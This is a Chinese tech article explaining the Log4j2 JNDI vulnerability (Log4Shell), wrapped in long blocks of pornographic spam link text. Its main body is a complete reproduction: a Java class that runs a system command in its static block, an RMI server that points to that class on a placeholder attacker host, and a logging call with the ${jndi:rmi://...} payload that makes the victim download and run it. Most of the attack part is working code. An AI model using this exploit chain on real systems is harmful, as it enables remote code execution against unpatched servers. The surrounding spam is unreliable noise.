精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Log4j2被爆高危漏洞,漏洞如何復現,原理是什么呢??

安全 漏洞
我們之前使用的log打印一般是log4j,然后就是logback當然springboot默認的也是logbac。因為在性能上logback優于log4j,從官網上看log4j2性能會優于log4j及logback,所以后面不少人升級成log4j2當然好像這幾個的作者都是同一個大神。

相信大家看到最多的就是這張圖片了,打了碼,還出來個計算器

圖片

Stringsource="${jndi:rmi://黑客IP:1099/test}";
logger.error(source);

上面這段代碼并不會像預想的打印出字符串,"${jndi:rmi://黑客ip:端口/test}"出來,如果這個日志是在自己的機器里打印的,就會在自己的機器里啟動計算器工具。

這現象的原理是什么呢?

關鍵就是這兩條:

1、log4j2打印日志時,部分字符串會當成命令名服務被執行。

2、log4j2可以通過jndi:rmi下載遠程代碼,并在自己機器執行。

以下是詳細說明:

Apache Log4j 2 Apache Log4j 2 is an upgrade to Log4j that provides significant improvements over its predecessor, Log4j 1.x, and provides many of the improvements available in Logback while fixing some inherent problems in Logback’s architecture.   Important: Security Vulnerability CVE-2021-45046 The Log4j team has been made aware of a security vulnerability, CVE-2021-45046, that has been addressed in Log4j 2.12.2 for Java 7 and 2.16.0 for Java 8 and up.  Summary: Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack.  Details It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default.  Note that previous mitigations involving configuration such as setting the system property log4j2.noFormatMsgLookup to true do NOT mitigate this specific vulnerability.

以上是apache官網的一段說明,我們之前使用的log打印一般是log4j,然后就是logback當然springboot默認的也是logbac。因為在性能上logback優于log4j,從官網上看log4j2性能會優于log4j及logback,所以后面不少人升級成log4j2當然好像這幾個的作者都是同一個大神。

回到我們的問題為什么會出現這種問題,還是官網上說的log4j2提供了一些可以讓用戶查詢一些配置信息。

圖片

上圖可以看出log4j2通過 http://logger.info("${java:hw}")可以打印出服務器cpu信息出來而不是字符串“${java:hw}”,大家可以看到這個就類似sql注入,另外一個關鍵的就是log4j2此功能是通過java lookup實現的,也就是說黑客可以這樣操作:

圖片

從上圖可以看出,最關鍵的地方就在紅色部署,用戶機器會下載黑客的可執行文件并在用戶機器上執行就是這病毒了,最上面演示的demo就是黑客讓用戶執行了自己機器上打開了計算器工具。

如果大家想自己實驗一下可以參考以下的代碼,這個是引用了網上一篇博客:

原文鏈接:https://blog.csdn.net/lizz861109/article/details/121928916

當然這篇博客沒有實現 rmi://127.0.0.1:1099/xxxx 這個rmi服務代碼可參考:

p.s. 網上很多程序都不完整或打了碼

//step1:在黑客機新建HackerObj.java 

import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;

/**
 * @Author: hanko
 * @Date: 2021-12-16 10:12
 */
public class HackerObj {
    public static void exec(String cmd) throws IOException {
        String sb = "";
        BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null) {
            sb += lineStr + "\n";

        }
        inBr.close();
        inBr.close();
    }

    public Object getObjectInstance(Object obj, Name name,
         Context context, HashMap<?, ?> environment) throws Exception {
        return null;
    }

    static {
        try {
            System.out.println("黑客程序在此機器被執行了。");
            exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

//step2:在黑客機把HackerObj.java編譯成HackerObj.class,然后開個nginx把HackerObj.class放進去讓它可以在網絡上訪問,如: http://黑客ip:8080/HackerObj.class

p.s. HackerObj.java創造時不要放在package里,放package里好像被用戶下載會提示notfindclass,有空再研究一下。

//step3: 創建個Server.java啟動黑客rmi服務

package com.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
 * @Author: hanko
 * @Date: 2021-12-16 9:18
 */
public class Server {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        //http://黑客ip:8080/HackerObj.class
        String url = "http://黑客ip:8080/"; 
        System.out.println("Create RMI registry on port 1099");
        Reference reference = new Reference("HackerObj", "HackerObj", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("test", referenceWrapper);
    }
}


//stpe4:在用戶機新建Client.java,

package com.jndi;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @Author: hanko
 * @Date: 2021-12-16 10:27
 */
public class Client {
    static Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        logger.error("${jndi:rmi://黑客ip:1099/test}");
    }
}


// 在用戶機執行Client.java會發現“黑客程序在此機器被執行了。”
//在用戶機器打印出來了,同時用戶機器計算器工具也被打開了


//step5: log4j2  復現就是用以下代碼
 logger.info("${java:vm}");
 logger.error("${jndi:rmi://黑客ip:1099/test}");

總結

關鍵就是這兩條:

1、log4j2打印日志時,部分字符串會當成命令名服務被執行。

2、log4j2可以通過jndi:rmi下載遠程代碼,并在自己機器執行。

責任編輯:武曉燕 來源: 棧江湖
相關推薦

2022-01-27 09:16:08

CPU內存.NET

2021-12-30 08:55:41

Log4j2FastJson漏洞

2022-02-13 23:51:44

DeepfenceLog4j2漏洞

2021-12-11 13:29:36

SpringBoot 官方

2022-03-30 11:29:53

漏洞補丁Spring

2021-12-13 07:28:34

Java漏洞復現

2022-01-24 10:02:53

漏洞微軟網絡攻擊

2010-08-23 15:50:43

2021-12-23 06:51:54

阿里云Log4j2漏洞

2021-12-13 01:49:34

漏洞Log4j代碼

2021-12-16 10:43:04

黑客網絡攻擊漏洞

2013-02-22 13:39:57

2022-01-10 11:16:40

漏洞 Log4j2Jndi

2021-12-29 06:54:23

Log4j2 漏洞績效

2021-12-14 06:59:39

Apache Log4j2 漏洞

2021-12-20 09:32:55

Log4j2漏洞攻擊

2022-05-30 14:04:23

Log4j遠程代碼漏洞

2013-06-26 14:32:18

2021-12-15 10:14:43

網絡安全網絡安全技術周刊

2021-01-28 17:32:44

Sudo漏洞Linux發行版
點贊
收藏

51CTO技術棧公眾號

亚洲天堂精品在线| 色综合天天视频在线观看 | 欧美一区二区影视| 在线观看免费视频一区| 中文字幕一区二区三区欧美日韩 | 91嫩草在线| 国产成人在线免费视频| 欧美韩国日本在线观看 | 经典三级在线| 国产综合久久久久久鬼色| 国模gogo一区二区大胆私拍 | 国产免费av一区二区三区| 欧美女孩性生活视频| 国产一级爱c视频| 蜜桃视频网站在线| 91一区在线观看| 91九色视频导航| 免费在线不卡av| 亚洲美女视频在线免费观看 | 五月综合色婷婷| 日本国产精品| 精品国产一区二区三区久久影院| 无码内射中文字幕岛国片| 男女视频在线| 亚洲女同ⅹxx女同tv| 欧美日韩一区二区三区在线视频| 成 人 免费 黄 色| 久久精品国产**网站演员| 91国内揄拍国内精品对白| 色哟哟一一国产精品| 国内精品视频在线观看| 日韩精品视频三区| 精品人妻伦一二三区久| 精品精品视频| 欧美久久久久久久久久| 热久久精品国产| 欧美男男tv网站在线播放| 亚洲卡通欧美制服中文| 免费看啪啪网站| 1024国产在线| 国产色一区二区| 欧美另类网站| 猫咪在线永久网站| 91理论电影在线观看| 国产精品制服诱惑| 性中国古装videossex| 精品无人码麻豆乱码1区2区 | 久久亚洲精品石原莉奈| 国产欧美日韩一级| 2019精品视频| 日韩成人在线免费视频| 黑人一区二区| 欧美激情一区二区三级高清视频| 欧美日韩免费做爰视频| 这里只有精品在线| 欧美激情精品久久久久久黑人| 婷婷伊人五月天| 亚洲激情中文在线| 欧美猛交ⅹxxx乱大交视频| 日韩激情小视频| 亚洲网色网站| 欧美激情免费观看| av大片免费观看| 久久久久久夜| 国产精品视频一区二区三区四 | 日韩中文一区| 思思99re6国产在线播放| 国产精品你懂的| 欧美少妇一级片| 特级毛片在线| 亚洲成人第一页| 91看片就是不一样| 欧美成人app| 91麻豆精品国产自产在线| 亚洲一区二区三区三州| 国产精品网址| 亚洲无av在线中文字幕| 久久成人小视频| 欧美精品二区| 51视频国产精品一区二区| 日本视频在线观看免费| 久久精品国产成人一区二区三区| 91麻豆桃色免费看| 黄色小视频免费在线观看| 91色乱码一区二区三区| 一本一道久久久a久久久精品91 | 欧美日韩激情在线一区二区三区| 中文字幕精品在线| wwwav国产| 国产日韩一区| 亚洲资源在线看| 欧美色视频免费| 1区2区3区精品视频| 国产一区二区三区小说| 四虎4545www国产精品| 日韩欧美国产综合在线一区二区三区| 国产精品麻豆入口| 91视频一区| 欧美尺度大的性做爰视频| 台湾佬中文在线| 国产二区国产一区在线观看| 欧美伦理一区二区| 免费男女羞羞的视频网站在线观看| 疯狂蹂躏欧美一区二区精品| caoporm在线视频| 久久99视频| 精品中文字幕乱| 亚洲 小说区 图片区| 大胆亚洲人体视频| 亚洲一区三区在线观看| 国产精品一二三产区| 在线观看91av| 欧美偷拍一区二区三区| 伊人久久亚洲美女图片| 成人免费视频在线观看超级碰| 国产91绿帽单男绿奴| 国产精品久久久久久久裸模| 日韩网站在线免费观看| 青青草国产一区二区三区| 日韩av在线资源| 国产亚洲精久久久久久无码77777| 日本欧美久久久久免费播放网| 国产精品一区二区三区不卡| 国产精品va在线观看视色| 日本韩国一区二区| 国产偷人妻精品一区| 黄色av日韩| 亚洲自拍偷拍色图| 欧美成人二区| 欧美日韩国产乱码电影| 永久免费毛片在线观看| 老鸭窝毛片一区二区三区| 精品无人区一区二区三区 | 日本一区二区三区在线观看视频| 亚洲欧美日韩系列| 亚洲一级片网站| 日韩在线第七页| 国产成人久久久精品一区| 瑟瑟在线观看| 黑人狂躁日本妞一区二区三区 | 888奇米影视| 国产精品污www在线观看| 日韩中文字幕二区| 免费看成人哺乳视频网站| 欧美有码在线视频| 可以直接在线观看的av| 疯狂欧美牲乱大交777| 醉酒壮男gay强迫野外xx| 日韩亚洲国产精品| 欧美12av| 91另类视频| 日韩中文在线不卡| 亚洲视频在线免费播放| 国产精品久久久久毛片软件| 天天操精品视频| 韩日视频一区| 久久99九九| 欧美精品日日操| 在线观看日韩www视频免费| 波多野结衣在线观看一区| 欧美国产一区在线| 热久久久久久久久| 1024精品久久久久久久久| 2014国产精品| 6699嫩草久久久精品影院| 亚洲国产精品成人av| 国产无套丰满白嫩对白| 国产日韩欧美麻豆| 亚洲一区二区三区观看| 欧美午夜电影在线观看 | 性做久久久久久免费观看| 欧亚乱熟女一区二区在线 | 91视频福利网| 狠狠88综合久久久久综合网| 国语精品免费视频| 韩国成人在线| 裸体女人亚洲精品一区| 天堂成人在线视频| 欧美在线观看视频在线| 成人高潮免费视频| 99久久伊人精品| 亚洲黄色av网址| 合欧美一区二区三区| 欧美午夜精品理论片a级大开眼界| 国产成人福利夜色影视| 欧美肥婆姓交大片| 欧美精品少妇| 91精品国产欧美一区二区18| 国产情侣在线视频| 国产精品亲子伦对白| 日本中文字幕在线不卡| 国产视频一区三区| 一区二区91美女张开腿让人桶| 777久久精品| 国产精品视频999| h片视频在线观看| 中文字幕亚洲字幕| 六月婷婷中文字幕| 欧美精品久久99久久在免费线 | 中文精品在线| 一区二区免费在线视频| 色天下一区二区三区| 91在线看www| 深夜成人影院| 色综合久久久久久中文网| 国产中文在线| 亚洲第一精品自拍| 国产精品一区二区免费视频| 色综合天天综合网天天狠天天| 午夜69成人做爰视频| 欧美国产综合一区二区| 黄色性生活一级片| 国产精品一区二区在线观看不卡| 国产超碰在线播放| 99国产精品视频免费观看一公开 | 欧美婷婷久久| 麻豆精品av| 91偷拍精品一区二区三区| 黄色欧美视频| 国产成人在线视频| 亚洲美女尤物影院| 97热精品视频官网| 在线视频中文字幕第一页| 日韩视频在线一区| 国产1区2区3区在线| 日韩精品视频在线观看免费| 性欧美一区二区三区| 欧美久久高跟鞋激| 一区二区三区黄| 欧美日韩中文字幕一区| 波多野结衣日韩| 色综合久久综合网欧美综合网 | 国产经典三级在线| 欧美成人免费一级人片100| 黄色网页网址在线免费| 菠萝蜜影院一区二区免费| 99re在线视频| 日韩在线欧美在线| 欧美黑人激情| 日韩在线不卡视频| 日韩毛片久久久| 久久久国产精品免费| 色综合久久影院| x99av成人免费| 精精国产xxxx视频在线| 久久久国产视频| gogo在线高清视频| 色综合天天狠天天透天天伊人| av毛片在线免费| 欧美精品在线网站| 丰满大乳少妇在线观看网站| 午夜精品久久久久久久白皮肤 | 欧美中文一区二区三区| 91麻豆精品在线| 精品1区2区3区| 97人妻人人澡人人爽人人精品| 欧美日韩国产高清一区二区 | 欧美日韩美女| 国产精品亚洲综合天堂夜夜| 日韩成人在线电影| 亚洲最大福利视频网| 免费观看亚洲视频大全| 国产精品久久久久久久久久久久午夜片| jizz国产精品| 久久久综合亚洲91久久98| 欧美欧美黄在线二区| 亚洲成人自拍视频| 91精品国产91久久久久久密臀| 日本黄xxxxxxxxx100| 伊人激情综合| 国产三级日本三级在线播放| 国产真实乱子伦精品视频| 久久久久亚洲av无码网站| 久久一区二区视频| 国产破处视频在线观看| 亚洲综合自拍偷拍| 视频一区二区三区四区五区| 欧美日韩亚洲丝袜制服| 精品人妻一区二区三区日产乱码 | 亚洲男人影院| 亚洲污视频在线观看| 风间由美性色一区二区三区| 日韩乱码人妻无码中文字幕久久| 国产精品高清亚洲| 日本一区二区不卡在线| 欧美在线免费观看视频| 精品国产无码AV| 亚洲美女自拍视频| av免费在线观看网站| 热久久免费国产视频| 国模大尺度视频一区二区| 精品乱码一区二区三区| 日韩免费在线| 少妇高潮喷水在线观看| 精品写真视频在线观看| 成人免费av片| 亚洲一二三区在线观看| 一本色道久久综合亚洲| 日韩电影大全免费观看2023年上 | 久久av资源| 日本天堂免费a| 蜜臀av国产精品久久久久 | 亚洲三级网址| 91亚洲精品国产| 免费视频最近日韩| 亚洲一区二区三区无码久久| 亚洲精品日韩一| 中文字幕在线观看1| 日韩电影免费在线观看中文字幕 | 91爱视频在线| 日韩中文字幕一区二区高清99| 日产精品高清视频免费| 亚洲国产午夜| 91av免费观看| 日韩一区日韩二区| 波多野结衣一二区| 日韩av影视综合网| 日本色护士高潮视频在线观看| 国产日韩欧美电影在线观看| 亚洲精品国产动漫| www插插插无码视频网站| 狠狠色丁香久久婷婷综合丁香| 微拍福利一区二区| 日韩欧美国产一区二区| 人妻一区二区三区免费| 欧美日韩国产成人| 日本一区二区三区电影免费观看 | 亚洲区国产区| 亚洲精品久久久久久| 中文字幕一区二区三区四区| 中文天堂在线资源| 中文字幕精品—区二区| 99re久久| 亚洲高清在线观看一区| 视频精品一区二区| 亚洲精品午夜视频| 日韩欧美国产一区二区| 免费在线性爱视频| 欧洲一区二区视频| 免费看成人吃奶视频在线| 久久久久久久久久久免费视频| 97se亚洲国产综合自在线不卡| 日韩精品成人在线| 亚洲第一偷拍网| 国产精选在线| 久久久久久久久一区| 六月天综合网| 国产美女免费网站| 欧美日韩中文另类| 日本美女在线中文版| 国产日韩欧美影视| 中文字幕一区二区三区久久网站| 曰本三级日本三级日本三级| 一区二区三区国产| 日韩一卡二卡在线| 欧美亚洲在线播放| 欧美久久综合网| 中文字幕在线观看日 | 999久久欧美人妻一区二区| 成人综合婷婷国产精品久久免费| 精品视频久久久久| 亚洲精品之草原avav久久| 蜜桃精品在线| 欧美性视频在线播放| 国产成人av电影免费在线观看| 日韩久久久久久久久| 亚洲人成电影网站色www| 嫩草伊人久久精品少妇av杨幂| 在线观看成人av| 国产不卡视频在线观看| 天堂在线免费观看视频| 这里精品视频免费| 亚洲国产精品免费视频| 日韩av三级在线| 欧美激情一区在线| av手机免费看| 97成人超碰免| 欧美a级片视频| 国产吃瓜黑料一区二区| 色婷婷av久久久久久久| 黄网站在线播放| 九色综合婷婷综合| 久88久久88久久久| 中日韩精品视频在线观看| 中文字幕日韩欧美精品在线观看| 精品国产亚洲一区二区三区大结局| 国产精品333| 中文字幕一区二区5566日韩| 四虎永久在线精品免费网址| 国产色综合天天综合网| 国产精品久久国产愉拍| 好吊日在线视频| 精品一区电影国产| 精品中文在线| 日韩一级片播放| 午夜亚洲国产au精品一区二区| av在线之家电影网站| 成人三级视频在线观看一区二区| 久久最新视频| 国产精品suv一区二区|